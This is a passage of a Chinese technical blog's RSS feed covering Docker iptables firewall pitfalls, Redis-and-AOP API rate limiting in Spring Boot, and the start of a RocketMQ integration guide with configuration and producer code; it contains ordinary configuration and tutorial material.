title="常见坑排查清单"></a>常见坑排查清单</h2><table><thead><tr><th>问题现象</th><th>可能原因</th><th>排查命令</th></tr></thead><tbody><tr><td>防火墙关了端口还能访问</td><td>Docker 在 <code>nat/DOCKER</code> 写了 DNAT、在 <code>filter/DOCKER</code> 写了 ACCEPT</td><td><code>iptables -t nat -L DOCKER -n</code><br><code>iptables -L DOCKER -n</code></td></tr><tr><td>UFW 状态显示正常但不生效</td><td>流量走 FORWARD 链，没经过 UFW 挂的 INPUT 链</td><td><code>iptables -L FORWARD -n --line-numbers</code></td></tr><tr><td><code>DOCKER-USER</code> 里加的规则不生效</td><td>规则加到了链末尾的 <code>-j RETURN</code> 之后</td><td><code>iptables -L DOCKER-USER -n --line-numbers</code></td></tr><tr><td>容器无法访问外网</td><td>禁用 iptables 后未配置 NAT</td><td><code>iptables -t nat -A POSTROUTING -s 172.17.0.0/16 -j MASQUERADE</code></td></tr><tr><td>容器间无法通信</td><td>网络模式或 <code>DOCKER-ISOLATION</code> 链问题</td><td><code>docker network ls</code><br><code>iptables -L DOCKER-ISOLATION-STAGE-1 -n</code></td></tr><tr><td>重启后规则失效</td><td>手工规则未持久化</td><td><code>sudo netfilter-persistent save</code></td></tr><tr><td>端口发布只在本机能连</td><td>正常现象，说明绑定了 <code>127.0.0.1</code></td><td><code>docker port &lt;容器名&gt;</code></td></tr></tbody></table><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Docker 默认的 iptables 管理机制虽然方便，但会绕过系统防火墙，带来安全隐患。生产环境建议：</p><ol><li><strong>敏感服务不要直接映射到公网</strong>，端口绑定写成 <code>127.0.0.1:宿主机端口:容器端口</code>，对外访问走反向代理</li><li><strong>需要放行公网时，用 <code>DOCKER-USER</code> 链做源 IP 白名单</strong>，并做好规则持久化</li><li><strong><code>iptables: false</code> 是最后手段</strong>，会破坏容器网络，非必要不用</li></ol><p>安全无小事，别等被黑了才想起来补救。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Redis + AOP 实现的接口限流</title>
      <link>https://blog.newpon.top/2025/11/12/Redis%20+%20AOP%20%E5%AE%9E%E7%8E%B0%E7%9A%84%E6%8E%A5%E5%8F%A3%E9%99%90%E6%B5%81/</link>
      <description>介绍在 Spring Boot 项目中利用 Redis 与自定义 AOP 注解实现分布式接口限流的完整方案，有效防止高并发刷接口与突发流量导致系统崩溃。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Spring-Boot/">Spring Boot</category>
      <category domain="https://blog.newpon.top/tags/Redis/">Redis</category>
      <category domain="https://blog.newpon.top/tags/AOP/">AOP</category>
      <pubDate>Wed, 12 Nov 2025 12:08:55 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="一、前言"><a href="#一、前言" class="headerlink" title="一、前言"></a>一、前言</h1><p>在高并发系统中，为了防止接口被恶意频繁访问、刷接口或突发流量导致系统崩溃，我们需要 <strong>限流（Rate Limiting）</strong>。本文将介绍如何通过 <strong>Redis + AOP</strong> 在 Spring Boot 项目中实现轻量级、可复用的接口限流功能。</p><p>相比使用 Guava 或令牌桶算法的单机实现，Redis 版本支持 <strong>分布式限流</strong>，非常适合多实例部署场景。</p><hr><h1 id="二、Maven-依赖"><a href="#二、Maven-依赖" class="headerlink" title="二、Maven 依赖"></a>二、Maven 依赖</h1><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>org.springframework.boot<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>spring-boot-starter-data-redis<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br><br></code></pre></td></tr></table></figure><hr><h1 id="三、自定义注解"><a href="#三、自定义注解" class="headerlink" title="三、自定义注解"></a>三、自定义注解</h1><p>通过注解来灵活定义接口限流的规则，例如访问时间窗口与次数。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs java"><br><span class="hljs-meta">@Target(ElementType.METHOD)</span><br><span class="hljs-meta">@Retention(RetentionPolicy.RUNTIME)</span><br><span class="hljs-keyword">public</span> <span class="hljs-meta">@interface</span> CurrentLimiting &#123;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * Redis 缓存 key 前缀</span><br><span class="hljs-comment">     */</span><br>    String <span class="hljs-title function_">key</span><span class="hljs-params">()</span> <span class="hljs-keyword">default</span> <span class="hljs-string">&quot;apiVisits:&quot;</span>;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 限流时间窗口（单位：秒）</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-type">int</span> <span class="hljs-title function_">time</span><span class="hljs-params">()</span> <span class="hljs-keyword">default</span> <span class="hljs-number">5</span>;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 时间窗口内允许的最大访问次数</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-type">int</span> <span class="hljs-title function_">count</span><span class="hljs-params">()</span> <span class="hljs-keyword">default</span> <span class="hljs-number">10</span>;<br>&#125;<br></code></pre></td></tr></table></figure><hr><h1 id="四、AOP-切面实现"><a href="#四、AOP-切面实现" class="headerlink" title="四、AOP 切面实现"></a>四、AOP 切面实现</h1><p>利用 AOP 在接口调用前拦截请求，并基于 Redis 的 <strong>ZSet（有序集合）</strong> 实现滑动时间窗口限流。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-meta">@Slf4j</span><br><span class="hljs-meta">@Aspect</span><br><span class="hljs-meta">@Component</span><br><span class="hljs-meta">@RequiredArgsConstructor</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CurrentLimitingAspect</span> &#123;<br><br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> RedisTemplate&lt;String, Object&gt; redisTemplate;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 拦截带有 <span class="hljs-doctag">@CurrentLimiting</span> 注解的方法</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-meta">@Before(&quot;@annotation(currentLimiting)&quot;)</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">doBefore</span><span class="hljs-params">(JoinPoint point, CurrentLimiting currentLimiting)</span> <span class="hljs-keyword">throws</span> Throwable &#123;<br>        <span class="hljs-type">int</span> <span class="hljs-variable">time</span> <span class="hljs-operator">=</span> currentLimiting.time();<br>        <span class="hljs-type">int</span> <span class="hljs-variable">count</span> <span class="hljs-operator">=</span> currentLimiting.count();<br><br>        <span class="hljs-comment">// 构建 Redis Key</span><br>        <span class="hljs-type">String</span> <span class="hljs-variable">key</span> <span class="hljs-operator">=</span> getCurrentLimitingKey(currentLimiting.key(), point);<br><br>        <span class="hljs-comment">// 使用 ZSet 存储每次访问时间戳</span><br>        ZSetOperations&lt;String, Object&gt; zSetOps = redisTemplate.opsForZSet();<br>        <span class="hljs-type">long</span> <span class="hljs-variable">currentTime</span> <span class="hljs-operator">=</span> System.currentTimeMillis();<br><br>        zSetOps.add(key, currentTime, currentTime);<br>        redisTemplate.expire(key, time, TimeUnit.SECONDS);<br><br>        <span class="hljs-comment">// 删除窗口外的记录</span><br>        zSetOps.removeRangeByScore(key, <span class="hljs-number">0</span>, currentTime - time * <span class="hljs-number">1000</span>);<br><br>        <span class="hljs-comment">// 统计当前时间窗口内访问次数</span><br>        <span class="hljs-type">Long</span> <span class="hljs-variable">currentCount</span> <span class="hljs-operator">=</span> zSetOps.zCard(key);<br><br>        <span class="hljs-keyword">if</span> (currentCount != <span class="hljs-literal">null</span> &amp;&amp; currentCount &gt; count) &#123;<br>            log.warn(<span class="hljs-string">&quot;接口限流触发 -&gt; key:&#123;&#125;, count:&#123;&#125;, currentCount:&#123;&#125;&quot;</span>, key, count, currentCount);<br>            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">RuntimeException</span>(<span class="hljs-string">&quot;访问过于频繁，请稍后再试!&quot;</span>);<br>        &#125;<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 拼接 Redis key：前缀 + 用户IP + 类名 + 方法名</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> String <span class="hljs-title function_">getCurrentLimitingKey</span><span class="hljs-params">(String prefixKey, JoinPoint point)</span> &#123;<br>        <span class="hljs-type">StringBuilder</span> <span class="hljs-variable">sb</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">StringBuilder</span>(prefixKey);<br><br>        <span class="hljs-type">ServletRequestAttributes</span> <span class="hljs-variable">attributes</span> <span class="hljs-operator">=</span> (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();<br>        <span class="hljs-type">HttpServletRequest</span> <span class="hljs-variable">request</span> <span class="hljs-operator">=</span> attributes.getRequest();<br><br>        <span class="hljs-type">String</span> <span class="hljs-variable">ip</span> <span class="hljs-operator">=</span> request.getRemoteAddr(); <span class="hljs-comment">// 可替换为自定义 IpUtil</span><br>        <span class="hljs-type">MethodSignature</span> <span class="hljs-variable">signature</span> <span class="hljs-operator">=</span> (MethodSignature) point.getSignature();<br>        <span class="hljs-type">Method</span> <span class="hljs-variable">method</span> <span class="hljs-operator">=</span> signature.getMethod();<br>        Class&lt;?&gt; targetClass = method.getDeclaringClass();<br><br>        <span class="hljs-keyword">return</span> sb.append(ip)<br>                .append(<span class="hljs-string">&quot;:&quot;</span>)<br>                .append(targetClass.getName())<br>                .append(<span class="hljs-string">&quot;:&quot;</span>)<br>                .append(method.getName())<br>                .toString();<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><hr><h1 id="五、注解使用示例"><a href="#五、注解使用示例" class="headerlink" title="五、注解使用示例"></a>五、注解使用示例</h1><p>在控制器方法上直接使用 <code>@CurrentLimiting</code> 注解即可，灵活控制不同接口的限流策略。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.GetMapping;<br><span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.RestController;<br><br><span class="hljs-meta">@RestController</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">DemoController</span> &#123;<br><br>    <span class="hljs-meta">@GetMapping(&quot;/hello&quot;)</span><br>    <span class="hljs-meta">@CurrentLimiting(time = 5, count = 2)</span><br>    <span class="hljs-keyword">public</span> String <span class="hljs-title function_">hello</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;Hello, World!&quot;</span>;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p>运行后，访问 <code>/hello</code> 接口 5 秒内超过 2 次，将触发异常：</p><figure class="highlight erlang-repl"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs erlang-repl">访问过于频繁，请稍后再试!<br></code></pre></td></tr></table></figure><hr><h1 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h1><p> 使用 Redis ZSet 实现滑动窗口算法，统计当前时间段内访问次数。</p><p> AOP 拦截 + 自定义注解，使限流逻辑与业务逻辑完全解耦。</p><p> 可轻松扩展至分布式系统，配合 Lua 脚本可实现原子操作。</p><hr><blockquote><p> 作者：NowPion  </p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>Spring Boot 整合MQ</title>
      <link>https://blog.newpon.top/2025/11/08/SpringBoot%E6%95%B4%E5%90%88MQ/</link>
      <description>详细介绍在 Spring Boot 项目中整合 RocketMQ 消息队列，实现异步解耦与流量削峰，涵盖生产端发送与消费端监听的完整配置实战。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Spring-Boot/">Spring Boot</category>
      <category domain="https://blog.newpon.top/tags/%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97/">消息队列</category>
      <category domain="https://blog.newpon.top/tags/rocketmq/">rocketmq</category>
      <pubDate>Sat, 08 Nov 2025 06:08:55 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="Spring-Boot-整合-RocketMQ"><a href="#Spring-Boot-整合-RocketMQ" class="headerlink" title="Spring Boot 整合 RocketMQ"></a>Spring Boot 整合 RocketMQ</h1><p>本文档介绍如何在 Spring Boot 项目中集成和使用 RocketMQ 消息队列。</p><hr><h2 id="一、Maven-依赖"><a href="#一、Maven-依赖" class="headerlink" title="一、Maven 依赖"></a>一、Maven 依赖</h2><h3 id="1-1-引入-RocketMQ-客户端"><a href="#1-1-引入-RocketMQ-客户端" class="headerlink" title="1.1 引入 RocketMQ 客户端"></a>1.1 引入 RocketMQ 客户端</h3><p>在项目的 <code>pom.xml</code> 文件中添加 RocketMQ 客户端依赖：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>org.apache.rocketmq<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>rocketmq-client<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">version</span>&gt;</span>4.8.0<span class="hljs-tag">&lt;/<span class="hljs-name">version</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br></code></pre></td></tr></table></figure><h3 id="1-2-Spring-Boot-相关依赖"><a href="#1-2-Spring-Boot-相关依赖" class="headerlink" title="1.2 Spring Boot 相关依赖"></a>1.2 Spring Boot 相关依赖</h3><p>确保项目中已引入 Spring Boot 相关依赖：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">dependency</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">groupId</span>&gt;</span>org.springframework.boot<span class="hljs-tag">&lt;/<span class="hljs-name">groupId</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">artifactId</span>&gt;</span>spring-boot-starter<span class="hljs-tag">&lt;/<span class="hljs-name">artifactId</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">dependency</span>&gt;</span><br></code></pre></td></tr></table></figure><hr><h2 id="二、配置文件"><a href="#二、配置文件" class="headerlink" title="二、配置文件"></a>二、配置文件</h2><p>在 <code>application.yml</code> 或 <code>application.properties</code> 中配置 RocketMQ 相关参数。</p><h3 id="2-1-YAML-格式配置"><a href="#2-1-YAML-格式配置" class="headerlink" title="2.1 YAML 格式配置"></a>2.1 YAML 格式配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">rocketmq:</span><br>  <span class="hljs-attr">name-server:</span> <span class="hljs-number">192.168</span><span class="hljs-number">.1</span><span class="hljs-number">.100</span><span class="hljs-string">:9876</span>  <span class="hljs-comment"># RocketMQ NameServer 地址</span><br>  <span class="hljs-attr">producer:</span><br>    <span class="hljs-attr">group:</span> <span class="hljs-string">my-producer-group</span>  <span class="hljs-comment"># 生产者组名称</span><br>    <span class="hljs-attr">send-message-timeout:</span> <span class="hljs-number">3000</span>  <span class="hljs-comment"># 发送消息超时时间（毫秒）</span><br>    <span class="hljs-attr">retry-times-when-send-failed:</span> <span class="hljs-number">2</span>  <span class="hljs-comment"># 发送失败重试次数</span><br>  <span class="hljs-attr">consumer:</span><br>    <span class="hljs-attr">group:</span> <span class="hljs-string">my-consumer-group</span>  <span class="hljs-comment"># 消费者组名称</span><br></code></pre></td></tr></table></figure><h3 id="2-2-Properties-格式配置"><a href="#2-2-Properties-格式配置" class="headerlink" title="2.2 Properties 格式配置"></a>2.2 Properties 格式配置</h3><figure class="highlight properties"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs properties"><span class="hljs-comment"># RocketMQ NameServer 地址</span><br><span class="hljs-attr">rocketmq.name-server</span>=<span class="hljs-string">192.168.1.100:9876</span><br><span class="hljs-comment"></span><br><span class="hljs-comment"># 生产者配置</span><br><span class="hljs-attr">rocketmq.producer.group</span>=<span class="hljs-string">my-producer-group</span><br><span class="hljs-attr">rocketmq.producer.send-message-timeout</span>=<span class="hljs-string">3000</span><br><span class="hljs-attr">rocketmq.producer.retry-times-when-send-failed</span>=<span class="hljs-string">2</span><br><span class="hljs-comment"></span><br><span class="hljs-comment"># 消费者配置</span><br><span class="hljs-attr">rocketmq.consumer.group</span>=<span class="hljs-string">my-consumer-group</span><br></code></pre></td></tr></table></figure><h3 id="2-3-配置说明"><a href="#2-3-配置说明" class="headerlink" title="2.3 配置说明"></a>2.3 配置说明</h3><table><thead><tr><th>配置项</th><th>说明</th><th>必填</th></tr></thead><tbody><tr><td><code>rocketmq.name-server</code></td><td>RocketMQ NameServer 地址</td><td>✅</td></tr><tr><td><code>rocketmq.producer.group</code></td><td>生产者组名称</td><td>✅</td></tr><tr><td><code>rocketmq.producer.send-message-timeout</code></td><td>发送消息超时时间（毫秒）</td><td>❌</td></tr><tr><td><code>rocketmq.producer.retry-times-when-send-failed</code></td><td>发送失败重试次数</td><td>❌</td></tr><tr><td><code>rocketmq.consumer.group</code></td><td>消费者组名称</td><td>✅</td></tr></tbody></table><hr><h2 id="三、生产者使用"><a href="#三、生产者使用" class="headerlink" title="三、生产者使用"></a>三、生产者使用</h2><h3 id="3-1-创建生产者配置类"><a href="#3-1-创建生产者配置类" class="headerlink" title="3.1 创建生产者配置类"></a>3.1 创建生产者配置类</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">package</span> com.example.config;<br><br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.exception.MQClientException;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.producer.DefaultMQProducer;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.producer.MQProducer;<br><span class="hljs-keyword">import</span> org.springframework.beans.factory.annotation.Value;<br><span class="hljs-keyword">import</span> org.springframework.context.annotation.Bean;<br><span class="hljs-keyword">import</span> org.springframework.context.annotation.Configuration;<br><br><span class="hljs-meta">@Configuration</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">RocketMQProducerConfig</span> &#123;<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.name-server&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String nameServer;<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.producer.group&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String producerGroup;<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.producer.send-message-timeout:3000&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">int</span> sendMessageTimeout;<br>    <br>    <span class="hljs-meta">@Value(&quot;$&#123;rocketmq.producer.retry-times-when-send-failed:2&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> <span class="hljs-type">int</span> retryTimes;<br>    <br>    <span class="hljs-meta">@Bean</span><br>    <span class="hljs-keyword">public</span> MQProducer <span class="hljs-title function_">mqProducer</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> MQClientException &#123;<br>        <span class="hljs-type">DefaultMQProducer</span> <span class="hljs-variable">producer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">DefaultMQProducer</span>();<br>        producer.setProducerGroup(producerGroup);<br>        producer.setNamesrvAddr(nameServer);<br>        producer.setSendMsgTimeout(sendMessageTimeout);<br>        producer.setRetryTimesWhenSendFailed(retryTimes);<br>        producer.start();<br>        <span class="hljs-keyword">return</span> producer;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="3-2-使用生产者发送消息"><a href="#3-2-使用生产者发送消息" class="headerlink" title="3.2 使用生产者发送消息"></a>3.2 使用生产者发送消息</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">package</span> com.example.service;<br><br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.producer.MQProducer;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.client.producer.SendResult;<br><span class="hljs-keyword">import</span> org.apache.rocketmq.common.message.Message;<br><span class="hljs-keyword">import</span> org.slf4j.Logger;<br><span class="hljs-keyword">import</span> org.slf4j.LoggerFactory;<br><span class="hljs-keyword">import</span> org.springframework.beans.factory.annotation.Autowired;<br><span class="hljs-keyword">import</span> org.springframework.stereotype.Service;<br><br><span class="hljs-meta">@Service</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">MessageProducerService</span> &#123;<br>    <br>    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">Logger</span> <span class="hljs-variable">logger</span> <span class="hljs-operator">=</span> LoggerFactory.getLogger(MessageProducerService.class);<br>    <br>    <span class="hljs-meta">@Autowired</span><br>    <span class="hljs-keyword">private</span> MQProducer mqProducer;<br>    <br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 发送消息</span><br><span class="hljs-comment">     * </span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> topic 主题</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> tags 标签</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> body 消息体</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@return</span> 发送结果</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">public</span> SendResult <span class="hljs-title function_">sendMessage</span><span class="hljs-params">(String topic, String tags, String body)</span> &#123;<br>        <span class="hljs-keyword">try</span> &#123;<br>            <span class="hljs-type">Message</span> <span class="hljs-variable">message</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Message</span>();<br>            message.setTopic(topic);<br>            message.setTags(tags);<br>            message.setBody(body.getBytes());<br>            <br>            <span class="hljs-type">SendResult</span> <span class="hljs-variable">result</span> <span class="hljs-operator">=</span> mqProducer.send(message);<br>            logger.info(<span class="hljs-string">&quot;消息发送成功, topic:&#123;&#125;, tags:&#123;&#125;, result:&#123;&#125;&quot;</span>, topic, tags, result);<br>            <span class="hljs-keyword">return</span> result;<br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            logger.error(<span class="hljs-string">&quot;消息发送失败, topic:&#123;&#125;, tags:&#123;&#125;&quot;</span>, topic, tags, e);<br>            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">RuntimeException</span>(<span class="hljs-string">&quot;消息发送失败&quot;</span>, e);<br>        &#125;<br>    &#125;<br>    <br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 发送带 keys 的消息（用于消息追踪和去重）</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">public</span> SendResult <span class="hljs-title function_">sendMessageWithKeys</span><span class="hljs-params">(String topic, String tags, String keys, String body)</span> &#123;<br>        <span class="hljs-keyword">try</span> &#123;<br>            <span class="hljs-type">Message</span> <span class="hljs-variable">message</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">Message</span>();<br>            message.setTopic(topic);<br>            message.setTags(tags);<br>            message.setKeys(keys);<br>            message.setBody(body.getBytes());<br>            <br>            <span class="hljs-type">SendResult</span> <span class="hljs-variable">result</span> <span class="hljs-operator">=</span> mqProducer.send(message);<br>            logger.info(<span class="hljs-string">&quot;消息发送成功, topic:&#123;&#125;, tags:&#123;&#125;, keys:&#123;&#125;, result:&#123;&#125;&quot;</span>, <br>                    topic, tags, keys, result);<br>            <span class="hljs-keyword">return</span> result;<br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            logger.error(<span class="hljs-string">&quot;消息发送失败, topic:&#123;&#125;, tags:&#123;&#125;, keys:&#123;&#125;&quot;</span>, topic, 